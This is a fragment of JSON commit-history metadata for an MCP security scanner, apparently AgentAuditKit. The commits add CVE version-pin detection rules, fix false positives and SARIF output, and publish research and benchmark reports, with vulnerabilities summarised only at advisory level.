          "is_bot": false,
          "headline": "feat(rules): pin CVE-2026-46555 (whatsapp-mcp) + CVE-2026-57495 (Agen…",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-21T17:08:07Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "5633a9d9d9cb3823bfa37c37e5fb979d347095ff",
          "body": "Ship an immutable, byte-deterministic, tamper-evident research snapshot of\nAgentAuditKit's measurements over the State-of-MCP-2026 corpus, so the effect of\nthe 2026-07-28 spec revision can be measured against a fixed reference. Adds NO\ndetection rules — reuses engine.run_scan, scoring.compute_score,\n[…]\n4 crawl + 710 registry). Headline matches the\npublished State of MCP report (no-auth 35.2%, transport stdio/streamable/SSE).\nVersion 0.3.55 -> 0.3.56. Gate: 1395 passed / 1 skipped, ruff + mypy clean.",
          "is_bot": false,
          "headline": "feat(research): freeze citable pre-2026-07-28 MCP security baseline v1.0",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-21T16:54:14Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "d8349aa3ca65afecaf9e88e304c5750c27f502d4",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-21T06:42:34Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "d781ae92a9b2311ec8316afebe024150c4ad5ff6",
          "body": "…ring on benign patterns (#478)\n\nEach rule was firing on a safe or benign shape (this drives the published\nbenign-slice FP rate). Every fix narrows scope so the real shape still fires\nand the false positive clears, with a benign-passes + malicious-still-fires\nregression guard per rule.\n\n- AAK-STDIO-\n[…]\nXXX form still fires alone.\n\nNo rule changes (still 262; test_rule_count_is_canonical green). +14 FP-guard\ntests. Version 0.3.54 → 0.3.55. Gate: 1388 passed / 1 skipped, ruff + mypy\nclean. Not tagged.",
          "is_bot": false,
          "headline": "fix(rules): P2 rule-scoping precision — 7 critical/high rules stop fi…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-20T08:03:53Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "d3a47bd561bedd801f309c46bb7abb6b6e2dd604",
          "body": "…e pins (P1) (#477)\n\nFrom an integration bug report, in priority order.\n\nP0 — invalid SARIF `fixes[]` broke codeql-action/upload-sarif. `_finding_to_result`\nemitted `fixes: [{description}]` with no `artifactChanges` (required for a\nmachine-applicable patch), so GitHub rejected every result and the w\n[…]\nrule changes (still 262; test_rule_count_is_canonical green). Version\n0.3.53 → 0.3.54. Gate: 1374 passed / 1 skipped, ruff + mypy clean. Not tagged.\n\nP2 rule-scoping precision fixes follow separately.",
          "is_bot": false,
          "headline": "fix: unbreak SARIF upload (P0) + honest action upload + lockfile-awar…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-20T07:43:53Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "0a1744bbb77a3edfb096e9ac2d3ecb2e4880971f",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-20T07:31:55Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "412575cc352f95206386ffdc4b9ffbe99a076f4c",
          "body": "…tive rate (#476)\n\nAssemble + honesty, not new detection: reuse the shipped engine to measure and\npublish AAK's benign-slice HIGH/CRITICAL false-positive rate — a number nobody\nin this category publishes.\n\nbenchmarks/false_positive/:\n- corpus.py — derive a BENIGN SLICE from the committed 1,374-confi\n[…]\ness.py asserts harness determinism + a pure\nbenign predicate. Version 0.3.52 -> 0.3.53. Left in [Unreleased] — the FP number\nneeds a human read before it becomes a public claim; NOT tagged.\n\nRefs #475",
          "is_bot": false,
          "headline": "feat(bench): publish a measured benign-slice HIGH/CRITICAL false-posi…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-20T05:19:18Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "7b178181e9ac5a6fc7af1918a5ce035cfcc8bb7b",
          "body": "…auth metrics (#473)\n\nExpand the MCP auth-readiness corpus into a publishable research report and\nclose the score-calibration study (#23).\n\nCorpus: add the official MCP Registry as a source\n(research/state-of-mcp-2026/fetch_registry.py — cursor pagination, cached,\nrate-limited, full provenance) and \n[…]\n and\nremoved its retired label. No SLA re-added.\n\nAdds no rules (still 262; test_rule_count_is_canonical green). Version 0.3.51 ->\n0.3.52. Gate: 1364 passed / 1 skipped, ruff + mypy clean.\n\nCloses #23",
          "is_bot": false,
          "headline": "feat(research): State of MCP 2026 report — corpus to 1,374 configs + …",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-19T08:37:16Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "52ace5701cf19fc9bcb9fac1e634b2086f6cfc1e",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-19T06:43:49Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "e7d38885661b37c40afdb67ed9dcc2013333c96b",
          "body": "Remove docs with no active references (not in the mkdocs nav, not\ngenerated by any script, not referenced by code/tests/README — only\nhistorical CHANGELOG / old release-notes mentions remain):\n\n  docs/blog/state-of-mcp-security-template.md      (weekly-report template, 0 refs)\n  docs/plans/2026-04-2\n[…]\n or the\ncross-linked docs/rules/* reference set). Docs-only; no version change.\n\nGate: 1358 passed / 1 skipped (release-notes guard has no file to guard,\nby design), ruff clean, rule-count sync clean.",
          "is_bot": false,
          "headline": "chore(docs): prune 6 unused/stale docs (#471)",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-18T12:19:42Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "040b56d7118255ebed51ce2d8176b6f03757d362",
          "body": "…le + readiness report (#470)\n\nAnti-duplicate preflight (§15.D.1) first: RFC 9207 iss-validation already\nships as AAK-OAUTH-006 and RFC 8707 as AAK-OAUTH-007, so the proposed\nOAUTH-009 (iss) would have duplicated 006 — it is NOT added. RFC 9728\nProtected-Resource-Metadata absence was genuinely new.\n\n[…]\n -> 262 rules (rules.json byte-stable). Version 0.3.50 -> 0.3.51.\nGate: 1359 passed, ruff + mypy clean. No sibling-tool analogy (G13) — derived\nfrom AAK's own OAUTH-* registry + the MCP spec calendar.",
          "is_bot": false,
          "headline": "feat(rules): AAK-OAUTH-008 (RFC 9728 PRM) + mcp-2026-07-28 auth profi…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-18T07:02:38Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "4c7a4ce127150afb3079cabd92dc11c9da033e45",
          "body": "…1) (#469)\n\nTriage the second 2026-07 disclosure wave (24 cve-response issues,\n#445–#468) filed by the NVD watcher while the earlier backlog cleared.\n14 CVEs cluster onto 7 pinnable packages (many share one fix version) →\nversion-pins in mcp_cve_pins_2026_07 (now 22 pins); 1 covered by an\nexisting p\n[…]\nCounts: 254→261 rules (rules.json regenerated, byte-stable). Tests: +26.\n\nCloses #445 #446 #447 #448 #449 #450 #451 #452 #453 #454 #455 #456 #457 #458 #459 #460 #461 #462 #463 #464 #465 #466 #467 #468",
          "is_bot": false,
          "headline": "fix(rules): 2026-07-15..17 MCP CVE wave — 7 version-pin rules (254→26…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-18T03:47:34Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "614485701aa63d93609d64ce53778efe39ac0949",
          "body": "…→254) (#444)\n\nTriage the 13 open cve-response issues (#429–#442) from the 2026-07-13..15\ndisclosure wave. Eight CVEs have a vendor fix + a pinnable PyPI/npm\nartifact and get version-pin rules (added to mcp_cve_pins_2026_07, now 15\npins); five are dispositioned in CHANGELOG.cves.md. Package names, f\n[…]\n)         — Go ecosystem, unsupported by pin detector\n\nCounts: 247→254 rules (rules.json regenerated, byte-stable). Tests: +14.\n\nCloses #429 #430 #431 #433 #434 #435 #436 #437 #438 #439 #440 #441 #442",
          "is_bot": false,
          "headline": "fix(rules): 2026-07-13..15 MCP CVE backlog — 7 version-pin rules (247…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-18T03:28:57Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "f83b71f212d1a1136dde50276ac407b1084201b7",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-16T06:33:15Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "c75732f1f737b186b5e8ea5cb0766645d5e12469",
          "body": "…uly rules to ratified MCP 2026-07-28 (#443)\n\nNew rule AAK-OAUTH-007 (MEDIUM, MCP_CONFIG) — flags an OAuth 2.1 flow, or\nan MCP client/server config advertising OAuth 2.1, that never sets the\nRFC 8707 `resource` parameter. Without Resource Indicators the issued\ntoken is not audience-bound, so a token\n[…]\nGate: 1320 passed · ruff clean · mypy clean · sync --check clean (247).\n\nRule ID uses the contiguous AAK-OAUTH-007 (existing family is AAK-OAUTH-*),\nnot AAK-MCP-OAUTH-007, per maintainer confirmation.",
          "is_bot": false,
          "headline": "feat(rules): AAK-OAUTH-007 RFC 8707 resource indicators + reconcile J…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-15T21:47:48Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "da058cc00d7ba85fc04b4d49af581a7717b34753",
          "body": "…#432)\n\nTwo credibility fixes, no new rules.\n\n(A) Rule count = one number, everywhere. docs/rules.md and the two\ncomparison pages hard-coded a stale 221 (and docs/rules.md silently\ndropped the 12th category, MCP_SERVER_CARD) while the registry was at\n246. Extend scripts/sync_rule_count.py to own the\n[…]\nnowledgment and the coordinated-\ndisclosure repo-notify window — are left unchanged.\n\nNo shipped code (agent_audit_kit/**) changed; pyproject stays 0.3.49.\nGate: 1313 passed · ruff clean · mypy clean.",
          "is_bot": false,
          "headline": "docs: single-source rule count + retire unbounded 48h CVE-SLA claim (…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-14T17:52:06Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "20fd7cbd4622acf0058b15bdb3da7a3a4604472c",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-13T07:42:07Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "9583e900ea538ddd5065f8641bd1847235e87383",
          "body": "…#428)\n\nTriage the 13 open sla-48h CVE-response issues from the 2026-07-08..12 wave.\nEight are pinnable (vendor fix + a PyPI/npm artifact) and get dedicated\nversion-pin rules; three are class-covered by existing rules or out-of-scope\nand are dispositioned in CHANGELOG.cves.md.\n\nNew scanner: mcp_cve_\n[…]\ns, 83→84 scanners (rules.json regenerated, byte-stable).\nPackage names + fix floors verified against PyPI/npm. Tests: 17 cases.\n\nCloses #414 #415 #416 #417 #418 #419 #420 #421 #422 #423 #424 #425 #426",
          "is_bot": false,
          "headline": "fix(rules): 2026-07 MCP CVE backlog — 8 version-pin rules (238→246) (…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-13T04:57:39Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "c3b7d553f63028497edb7bd7d7105c72760bf4c9",
          "body": "… AAK-OAUTH-006 (#427)\n\nNew scanner (mcp_deprecated_features) + rule family for the MCP 2026-07-28 spec\nrelease candidate. The RC ships MCP's first formal deprecation policy (SEP-2596:\na minimum 12-month deprecation->removal window) and, under it, annotation-\ndeprecates three core capabilities via S\n[…]\nules.json\n  regenerated and byte-stable; coverage tables + public JSON regenerated.\n  Version 0.3.48 -> 0.3.49. CHANGELOG [Unreleased] updated.\n\nCo-authored-by: Claude Opus 4.8 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): MCP 2026-07-28 deprecation pack — AAK-MCP-DEPRECATED-* +…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-13T04:36:35Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "62b1ff85619775aece03400fcec57ea57d5ad514",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-09T07:54:13Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "6d33a61949fd2c5923ebb6224d432164e619758d",
          "body": "… RCE) as AAK-MCP-SERENA-CVE-2026-49471-001 (#413)\n\nCVE-response for the open sla-48h issue (#411). New HIGH rule + version-pin\ndetector for CVE-2026-49471 (CVSS 8.3, CWE-306 + CWE-352): the Serena MCP coding\ntoolkit (serena-agent) before 1.5.2 ships an unauthenticated Flask dashboard on a\nfixed por\n[…]\nbles + public JSON regenerated. CHANGELOG + CVE ledger updated (<24h latency,\n  within the 48h SLA). Ships in the pending v0.3.48.\n\nCloses #411\n\nCo-authored-by: Claude Opus 4.8 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): pin CVE-2026-49471 (Serena MCP unauthenticated-dashboard…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-08T17:39:19Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "b5eb3a8e99022bb4a910aff6e55c0559f0573781",
          "body": "… AAK-MCP-SSRF-001 (#412)\n\nNew MEDIUM rule + scanner (mcp_ssrf_toolarg) for CVE-2026-14748 (CVSS 6.3,\nCWE-918): an MCP tool handler that passes an attacker-controllable url /\nendpoint / target argument straight into an outbound requests / httpx / urllib /\naiohttp fetch with no host/scheme allow-list\n[…]\n; coverage tables + public JSON regenerated. Version 0.3.47 ->\n  0.3.48. CHANGELOG + CVE ledger updated (honest ~72h latency, past 48h target).\n\nCo-authored-by: Claude Opus 4.8 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): pin CVE-2026-14748 (MCP-server SSRF via tool-arg URL) as…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-08T17:26:52Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "51c6054adaae831f0d287004a777a954678b0ffc",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-08T06:39:49Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "89a5cb34322c686f4badd44e7ca097f8074aa4b8",
          "body": "…408) (#410)\n\nAmazon mcp-gateway-registry before 1.0.13 interpolates a caller-supplied\ntable_name into an SQL identifier position in the metrics-service retention\npolicy (CWE-89), letting an authenticated remote user run arbitrary SQL\n(CVE-2026-14471, HIGH CVSS 8.1, published 2026-07-06; fixed in 1.\n[…]\nt, AICM overlay, rules.json + coverage\ntables regenerated. Rule count 231 -> 232 (version stays 0.3.47). No self-FP.\n\nCloses #408.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): pin CVE-2026-14471 (Amazon mcp-gateway-registry SQLi) (#…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-07T17:48:59Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "bfca397adf264c0d43fded21de06d6431693e0ed",
          "body": "Citation-accuracy pass on the shipped stateless-migration rules — no detection\nchange, rule count stays 231. Web-verified against modelcontextprotocol.io + the\nMCP GitHub SEPs:\n\n- The Mcp-Session-Id / protocol-session removal was mis-attributed to SEP-1442;\n  it is SEP-2567 (\"Sessionless MCP via Exp\n[…]\nration scanner docstring, the engine registration label,\nand rules.json. 16 stateless tests still green. Version 0.3.46 -> 0.3.47.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "fix(rules): correct SEP citations on AAK-MCP-STATELESS-* pack (#409)",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-07T17:41:32Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "4552b8aad7a2cd994b6ae82a907ce8bf0c22abc4",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-06T08:41:34Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "46b92e1f57462c77122510cd8016924e29737ccc",
          "body": "… (#372) (#407)\n\nFlowise before 3.1.3 validates Custom-MCP stdio env vars against a case-sensitive\ndenylist, so on Windows (case-insensitive env names) `node_options` slips past\nthe NODE_OPTIONS denylist entry and reaches NODE_OPTIONS --require code execution\n(CVE-2026-58057, CVSS 5.0). Bumped _FLOW\n[…]\no the rule so 3.1.2 configs now flag. Test + CVE ledger\nupdated; rules.json regenerated. Rule count unchanged (231).\n\nCloses #372.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "fix(rules): AAK-FLOWISE-001 pin floor 3.1.2->3.1.3 for CVE-2026-58057…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-06T07:53:16Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "4824f66862e8f04177eb8d09fbf3ba58ab2d2823",
          "body": "…ding set vs LLM-judge incumbents (#406)\n\nNew benchmarks/determinism/ proves AAK yields a byte-identical finding set across\n20 runs of the real engine.run_scan over a fixed committed corpus — one shared\nSHA-256 digest, 0% variance. RESULTS.md prints corpus size, the shared digest,\nand (indicative) w\n[…]\nREADME: determinism bullet + comparison table now link RESULTS.md\n(20/20 runs -> 1 digest, 0% variance). Version 0.3.45 -> 0.3.46.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(bench): reproducibility head-to-head — 20-run byte-identical fin…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-06T07:45:47Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "6823a8d14fdba886ef5bc4bfde85bf0165c989ad",
          "body": "…2026-13341 (#405)\n\n* feat(rules): pin CVE-2026-13341 (Kong Konnect MCP) + public OWASP coverage leaderboard (#67)\n\nTwo credibility/benchmark artifacts — both fully offline + deterministic (no\naccount, cloud call, signup, or paid gate).\n\nKong Konnect MCP CVE-2026-13341 (HIGH, CVSS 7.4, published 202\n[…]\n\ninstead so a look-alike domain can't satisfy it.\n\nCo-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>\n\n---------\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: public OWASP coverage leaderboard (#67) + Kong Konnect MCP CVE-…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-05T14:29:55Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "b0d2886d15de9bb8b942b7896ba3ced30646df08",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-05T07:39:51Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "a51b515abd44effacdbecde59278dd955fb2188a",
          "body": "…discover crawler (#397)\n\nNew MCP Server Card rule category (Category.MCP_SERVER_CARD) + scanner\n(scanners/mcp_server_card.py) that statically audits SEP-1649 discovery cards at\n/.well-known/mcp/server-card.json. A client fetches and trusts a card before\nconnecting, so the card is an attack surface.\n[…]\n\nRule count 226 -> 230; scanners 80 -> 81; categories 11 -> 12; version 0.3.43 ->\n0.3.44. Canonical rule-count guard (#352) green.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): AAK-MCP-CARD-* static audit for SEP-1649 server cards + …",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-04T08:05:07Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "03810b60a6970f29cd48016ea39809a7e2e17c27",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-04T07:17:01Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "fdce4bb67e667bab54285732ad8eb1896d0aa2a3",
          "body": "…AUTH-PATHTRAVERSAL-001, #394) (#396)\n\nNew CRITICAL rule + scanner (scanners/mcp_auth_pathtraversal.py) for the\nbearer-token -> session-file path traversal class. MCP auth code that joins an\nuntrusted token / Authorization header into a session file path used for an\nexistence/read check, with no sep\n[…]\nner modules 79 -> 80; version 0.3.42 -> 0.3.43.\nRule doc + index row added; canonical rule-count guard (#352) green.\n\nCloses #394.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): pin CVE-2026-52830 bearer-token path-traversal (AAK-MCP-…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-04T06:08:52Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "910e5cb444c5fbda03e0abcbae377586552a2390",
          "body": "Empirical sequel to the State-of-MCP-Security harness (issue #23). Widened the\ncorpus by sweeping five MCP-config filename queries in benchmarks/crawler.py\n(the single .mcp.json query hits GitHub Code Search's 1,000-result ceiling ≈571\ndistinct) → 664 distinct public configs. Re-ran the #373 harness\n[…]\nonly — no per-server list published, no CVEs filed\n(90-day coordinated-disclosure). No package code touched; version stays 0.3.42.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: MCP prevalence scan (664 configs) + score calibration (#23) (#393)",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-02T19:25:37Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "e411e828a963880e5af36b755ac15a783beb61c5",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-02T07:45:01Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "4837194e8f378a8a1a46a1b783e6eb830b430502",
          "body": "…42 (#392)\n\nPromote the #373 harness into a finished report. REPORT.md gains an executive\nsummary, an OWASP-MCP-Top-10 hit-rate table, 3 anonymized CVE-class case\nstudies, a \"how we scan (offline, reproducible)\" section leading with the two\nwedges, and a `pip install` self-scan block (report doubles\n[…]\ner\n+ checklist link.\n\nNo scanner rules added (rule count stays 225; test_rule_count_is_canonical\ngreen). Version 0.3.41 -> 0.3.42.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "docs: finish State of MCP Security 2026 report (launch-ready) + v0.3.…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-01T17:50:42Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "6841cd5c207c6b81781a383c53a5af4a28d91e6b",
          "body": "…) (#383)\n\nDependabot split this single action bump across 4 PRs (#374 analyze, #375\nautobuild, #378 init, #379 upload-sarif). Merging them individually leaves the\ncodeql-action steps at mismatched versions, which fails the CodeQL Analyze job\n(the run downloads two different action SHAs). Bumping in\n[…]\n.yml) together to 4.36.2\n(SHA 8aad20d150bbac5944a9f9d289da16a4b0d87c1e) keeps them consistent.\n\nSupersedes #374, #375, #378, #379.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "chore(deps): bump github/codeql-action to v4.36.2 (all steps together…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-29T09:00:12Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "9fd56999281b85318e9eefef662db5fbbfa65b29",
          "body": "Bumps [click](https://github.com/pallets/click) from 8.1.8 to 8.4.2.\n- [Release notes](https://github.com/pallets/click/releases)\n- [Changelog](https://github.com/pallets/click/blob/main/CHANGES.md)\n- [Commits](https://github.com/pallets/click/compare/8.1.8...8.4.2)\n\n---\nupdated-dependencies:\n- depe\n[…]\nirect:production\n  update-type: version-update:semver-minor\n...\n\nSigned-off-by: dependabot[bot] <support@github.com>\nCo-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>",
          "is_bot": true,
          "headline": "chore(deps): Bump click from 8.1.8 to 8.4.2 (#376)",
          "author_name": "dependabot[bot]",
          "author_login": "dependabot[bot]",
          "committed_at": "2026-06-29T08:54:16Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "3d7660b25d05b99145f152d433b10380c128c24d",
          "body": "Bumps [actions/setup-python](https://github.com/actions/setup-python) from 6.2.0 to 6.3.0.\n- [Release notes](https://github.com/actions/setup-python/releases)\n- [Commits](https://github.com/actions/setup-python/compare/v6.2.0...v6.3.0)\n\n---\nupdated-dependencies:\n- dependency-name: actions/setup-pyth\n[…]\nirect:production\n  update-type: version-update:semver-minor\n...\n\nSigned-off-by: dependabot[bot] <support@github.com>\nCo-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>",
          "is_bot": true,
          "headline": "chore(deps): Bump actions/setup-python from 6.2.0 to 6.3.0 (#377)",
          "author_name": "dependabot[bot]",
          "author_login": "dependabot[bot]",
          "committed_at": "2026-06-29T08:54:12Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "a1d1532905a0971444f29a4486dbf08ec054cb6e",
          "body": "…data-report (#382)\n\nCredibility fix: the GitHub \"About\" description and every human-facing\nrule-count string (CLAUDE.md, docs/index.md, launch outreach/blog/awesome\ndrafts, the launch data-report draft) read \"221\". Corrected to the canonical\n225 (matches README badge + RULES registry + rules.json +\n[…]\nSP WG;\ndo NOT auto-post).\n\nDocs/metadata only; no version bump. pytest 1226 green, ruff clean,\ntest_rule_count_is_canonical green.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "docs: kill public rule-count drift (221->225) + promote MCP-security …",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-29T08:50:20Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "dbaa7a7238afe8502dcefb51314c4cb3fef4a435",
          "body": "Adds research/state-of-mcp-2026/: a reproducible, offline data-report harness\nthat scans a corpus of public MCP configs and aggregates a grade distribution\n(A-F), per-category hit rates, and the top misconfigurations.\n\nAnti-duplicate: contains NO scanner. Reuses agent_audit_kit.engine.run_scan +\nage\n[…]\npackage code, no version bump. No speculative finding issues filed (the\nharness reports existing-rule prevalence by construction).\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: State of MCP Security 2026 data-report harness (#373)",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-28T08:02:02Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "79d5d79647948b7b78a77ce1b29088973c87a343",
          "body": "…s (#371)\n\nWorked the open sla-48h backlog. AAK-actionable items map to packages AAK\nalready pins, so existing rules were extended (not duplicated):\n\n- Flowise (AAK-FLOWISE-001): pin floor 3.1.0 -> 3.1.2 (3.0.6-3.1.1 still\n  flagged); +CVE-2025-71336 (<3.0.6 RCE), +CVE-2026-56274 (<3.1.2 OS cmd\n  in\n[…]\nected by generalised rules — closed with per-issue\ndispositions, no fabricated rules. Rule count unchanged (225); no version bump.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "chore(rules): CVE-backlog coverage — extend Flowise/LiteLLM/Doris pin…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-27T10:10:02Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "06e817383e842026a1154b091d2cea7e2e4e8127",
          "body": "…ce wedges (#370)\n\nRemoved the public \"48h CVE-to-rule SLA\" promise (an unbounded clock a solo\nmaintainer can't reliably carry) from the README badge/bullet, ROADMAP_2026.md,\nand live launch copy (docs/launch/{hn,reddit,x-thread}.md). Replaced with a\nno-deadline capability statement: disclosed MCP C\n[…]\netection logic changes, no version bump. The NVD watcher and the\nsla-48h automation label (release-gate dependency) are untouched.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "docs: retire public 48h CVE-to-rule SLA; lead with offline + complian…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-27T09:40:53Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "0dfe23d1d4c0f18caad5b2a16c5cc2b081d110d3",
          "body": null,
